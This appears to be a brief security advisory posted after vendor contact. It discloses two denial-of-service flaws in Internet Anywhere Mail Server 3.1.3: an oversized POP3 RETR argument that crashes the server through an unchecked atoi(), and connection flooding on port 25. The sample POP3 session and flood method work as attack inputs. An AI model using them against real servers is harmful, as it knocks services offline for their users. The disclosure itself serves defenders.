    Hello,
    
    I've reported DoS probrems on Internet Anywhere Mail Server Ver.3.1.3
    to supportat_private on 3rd Dec,99. They started to develop the fix.
    But they said "we'll release the fix in couple of weeks" three times.
    I've discussed with Jeff Moll(President of True North Software, Inc.)
    and he allowed me to post these vulnerabilities.
    
    1. RETR DoS in POP service
        +OK POP3 Welcome to somewhere.domain using the Internet Anywhere
        Mail Server Version: 3.1.3. Build: 1065 by True North Software,
        Inc.
        USER yellow
        +OK valid
        PASS pikapika
        +OK Authorized
        RETR 111111111111111111111111
    
        That's all. The Server could be dead at a little bit after
        atoi(). They should check return value of atoi().
    
    2. multiple connections to port 25 DoS
        This is simple game, too.
        Too much connect()s about 3000, then you will see connection
        refused. After that, too much connect()s again about 800, then
        you can't connect anymore.
        It depends on memory size(I tested on 128MB RAM,total 256MB).
        They should check connection status.
